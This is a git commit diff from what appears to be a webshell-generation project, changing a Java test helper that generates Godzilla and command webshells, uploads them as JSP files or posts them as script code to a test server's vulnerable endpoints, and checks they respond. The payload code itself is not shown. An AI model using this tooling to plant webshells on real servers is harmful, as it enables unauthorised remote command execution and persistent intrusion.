feat: support jetty shell generate

This commit is contained in:
ReaJason
2024-12-07 20:17:40 +08:00
parent cde67580a9
commit c9cd7c1eed
37 changed files with 1642 additions and 135 deletions
@@ -23,7 +23,7 @@ public class ShellAssertionTool {
.targetJdkVersion(targetJdkVersion)
.build();
String shellUrl;
String shellUrl = url + "/test";
switch (shellTool) {
case Godzilla:
String pass = "pass";
@@ -35,7 +35,7 @@ public class ShellAssertionTool {
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
break;
case Command:
@@ -43,23 +43,21 @@ public class ShellAssertionTool {
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, commandConfig);
}
}
public static String assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
String shellUrl = url + "/";
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
if (Packer.INSTANCE.JSP.equals(packer)) {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jsp";
shellUrl = url + "/" + filename;
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
} else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
String uploadEntry = url + "/js";
VulTool.postJS(uploadEntry, content);
}
return shellUrl;
}
}